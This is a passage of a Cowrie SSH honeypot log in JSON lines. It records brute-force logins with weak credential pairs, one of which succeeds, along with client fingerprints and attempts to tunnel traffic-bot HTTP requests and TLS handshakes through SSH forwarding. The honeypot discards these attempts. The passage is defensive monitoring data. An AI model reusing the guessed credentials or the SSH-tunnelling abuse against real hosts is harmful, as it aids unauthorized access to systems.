\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xf9\\xed\\x8d\\xaf\\x95X\\x96\\xe5\\x17\\xea\\xe9{^\\xc9\\xab\\xeb\\x01\\x08C\\xe6\\x05\\xd5\\xa7\\xf5b\\xe3\\xa42:\\xfbV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.639646Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.051625Z","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.115955Z","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.159455Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 OPR/73.0.3856.344\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JHkvMmFwOC9sbVVNVnM4Jg%3D%3Dysue1Rdxs2gHTERgqfzlvzMmC2dEtyIpToX%2BIiZ9aHPWzWyL6eBiY89yvbEArzNwv8y2HqT7TMzpKBfUobo9MMyoBHDp9ZqUJxzH2P4db0Jz1LZelu5v3%2BvA2a1rYQ6wjcLtzFsoEt3l9si17BVLozgCz0zelwNTCQnihIpMmMmoHmIxUPLOyYoOEwijSC0TR1imD3Ge2l%2BNtcZjsPBNOBcIN5pBt5viBZyFAKpUfArRT7lhtYIOMkcE9UEnOq9VdPTNwBYAtj5NjAgxEqWIhgZoDxggsPSW%2BkZUQIUEVyUHpLOmm9QDM8R9LsBEx8qDMLklWCAiS02XOTWd9XoyuJ2fRCn80%2F8hRL8hXvhvfjkDV2lUR%2BIRq8H9Rtlvb0NKpeDK2I%2BKJv9G%2FOEdqZIKF7VT8i6XqkdwOJlHaH%2FJ5zfh7Ho5Fdl67WS%2BTyKpfCf%2BXDRo8rovp45aa2LQ3MkAiXuoC5cQhhzB2cgu7cmZvE9QtAl8%2BwmEzMjbbTXNGRsp3zq9SCXpmzSYE%2BKZCrTqXdKu7y%2BxMgEK2AHaOoM9uGceMEmNbaHsNIycUbeg7wAoQyKFl41qdBNLsaPhY1Fx2A%2B7l%2F9bPB%2Bg%2FzYw5%2FKMBQxDUJmdeVEhK77cxb2j2bn0oS4544AlpdRKsEXTXQBHdTNa%2BXNZ%2BLffecU3McIXCWqao5QNgq7RKjulidikJTHe2OUtg85gFD9FUPB05zS1xmmQdD6ddpSOT7wsHGpp7siGvg4PY85ja7OfoOyqOa2WVG5xvuCSWEB9unYHevTxiwlktH8MOeg%2BjODnWAe22sEe5tfonAN9e8kGX37iVAnpaGQ8%2BFzzoXJ7M3mFmsIqb8y7RfKsZmE1g9wi2j7OvsBvfpq8Q6SFb%2B5ApkS9Ox6wG17XNA1otOCNjm7qmY4neHfCXvFnL0VOwvxUCL3fBhnYmLJIpuwLrETySGsXD4wXkmmtHJYUV7FEodZTXEA5q59NIpyY%2Bw12tN9yHj2Hhl2nu0BB3zWVjRqqwrw0u20AC%2BGgWKeDaHmH%2BE3p5sOD8CLmtP7Yje9jIHSf9sD0MHVxZqIQHyYHOpk30xywC%2Bc%2B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 OPR/73.0.3856.344\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JHkvMmFwOC9sbVVNVnM4Jg%3D%3Dysue1Rdxs2gHTERgqfzlvzMmC2dEtyIpToX%2BIiZ9aHPWzWyL6eBiY89yvbEArzNwv8y2HqT7TMzpKBfUobo9MMyoBHDp9ZqUJxzH2P4db0Jz1LZelu5v3%2BvA2a1rYQ6wjcLtzFsoEt3l9si17BVLozgCz0zelwNTCQnihIpMmMmoHmIxUPLOyYoOEwijSC0TR1imD3Ge2l%2BNtcZjsPBNOBcIN5pBt5viBZyFAKpUfArRT7lhtYIOMkcE9UEnOq9VdPTNwBYAtj5NjAgxEqWIhgZoDxggsPSW%2BkZUQIUEVyUHpLOmm9QDM8R9LsBEx8qDMLklWCAiS02XOTWd9XoyuJ2fRCn80%2F8hRL8hXvhvfjkDV2lUR%2BIRq8H9Rtlvb0NKpeDK2I%2BKJv9G%2FOEdqZIKF7VT8i6XqkdwOJlHaH%2FJ5zfh7Ho5Fdl67WS%2BTyKpfCf%2BXDRo8rovp45aa2LQ3MkAiXuoC5cQhhzB2cgu7cmZvE9QtAl8%2BwmEzMjbbTXNGRsp3zq9SCXpmzSYE%2BKZCrTqXdKu7y%2BxMgEK2AHaOoM9uGceMEmNbaHsNIycUbeg7wAoQyKFl41qdBNLsaPhY1Fx2A%2B7l%2F9bPB%2Bg%2FzYw5%2FKMBQxDUJmdeVEhK77cxb2j2bn0oS4544AlpdRKsEXTXQBHdTNa%2BXNZ%2BLffecU3McIXCWqao5QNgq7RKjulidikJTHe2OUtg85gFD9FUPB05zS1xmmQdD6ddpSOT7wsHGpp7siGvg4PY85ja7OfoOyqOa2WVG5xvuCSWEB9unYHevTxiwlktH8MOeg%2BjODnWAe22sEe5tfonAN9e8kGX37iVAnpaGQ8%2BFzzoXJ7M3mFmsIqb8y7RfKsZmE1g9wi2j7OvsBvfpq8Q6SFb%2B5ApkS9Ox6wG17XNA1otOCNjm7qmY4neHfCXvFnL0VOwvxUCL3fBhnYmLJIpuwLrETySGsXD4wXkmmtHJYUV7FEodZTXEA5q59NIpyY%2Bw12tN9yHj2Hhl2nu0BB3zWVjRqqwrw0u20AC%2BGgWKeDaHmH%2BE3p5sOD8CLmtP7Yje9jIHSf9sD0MHVxZqIQHyYHOpk30xywC%2Bc%2B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.162617Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.364067Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xdd\\x85vt\\xda\\xf6\\xef\\xdb%!8\\x8a\\xc4\\xa85\\r\\xc6\\xb1\\x94N$\\x1d2O3;\\xbaV\\xa4\\xab\\x94 \\xfa\\xd2 >\"\\x98\\xbfxZ\\x18\\xc8 3\\xdf\\x03i;D.\\x9b\\\\\\x11\\x9b\\xf83z\\xf2\\xc1rq\\\\\\x18\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x96j\\xc9i\\xe5Z\\xc7\\xfb\\x85\\xc3f\\xb13\\xb0\\x9dG\\x97\\x91\\xfc\\x08\\xa3\\xbb\\x83\\xe43\\xa8\\xc2i\\xc9vi\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xdd\\x85vt\\xda\\xf6\\xef\\xdb%!8\\x8a\\xc4\\xa85\\r\\xc6\\xb1\\x94N$\\x1d2O3;\\xbaV\\xa4\\xab\\x94 \\xfa\\xd2 >\"\\x98\\xbfxZ\\x18\\xc8 3\\xdf\\x03i;D.\\x9b\\\\\\x11\\x9b\\xf83z\\xf2\\xc1rq\\\\\\x18\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x96j\\xc9i\\xe5Z\\xc7\\xfb\\x85\\xc3f\\xb13\\xb0\\x9dG\\x97\\x91\\xfc\\x08\\xa3\\xbb\\x83\\xe43\\xa8\\xc2i\\xc9vi\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.367120Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:37.660662Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:38.879288Z","src_ip":"91.92.40.36","session":"3ab229e912c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15846,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbaa2b6b12e","protocol":"ssh","message":"New connection: 91.92.40.36:15846 (159.203.135.109:22) [session: 0dbaa2b6b12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:41.357236Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":59709,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c65dbacbdb7","protocol":"ssh","message":"New connection: 173.208.188.210:59709 (10.17.0.5:22) [session: 7c65dbacbdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.039086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.043041Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"qwerty","message":"login attempt [ftptest/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.115006Z","src_ip":"91.92.40.36","session":"d3678ba341c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.237608Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.275241Z","src_ip":"91.92.40.36","session":"0dbaa2b6b12e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:43.278410Z","src_ip":"91.92.40.36","session":"0dbaa2b6b12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:45.354058Z","src_ip":"91.92.40.36","session":"d3678ba341c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:46.210920Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":60396,"dst_ip":"10.17.0.5","dst_port":22,"session":"369f0ff9560b","protocol":"ssh","message":"New connection: 23.175.50.51:60396 (10.17.0.5:22) [session: 369f0ff9560b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:48.348232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:48.352964Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:48.549709Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
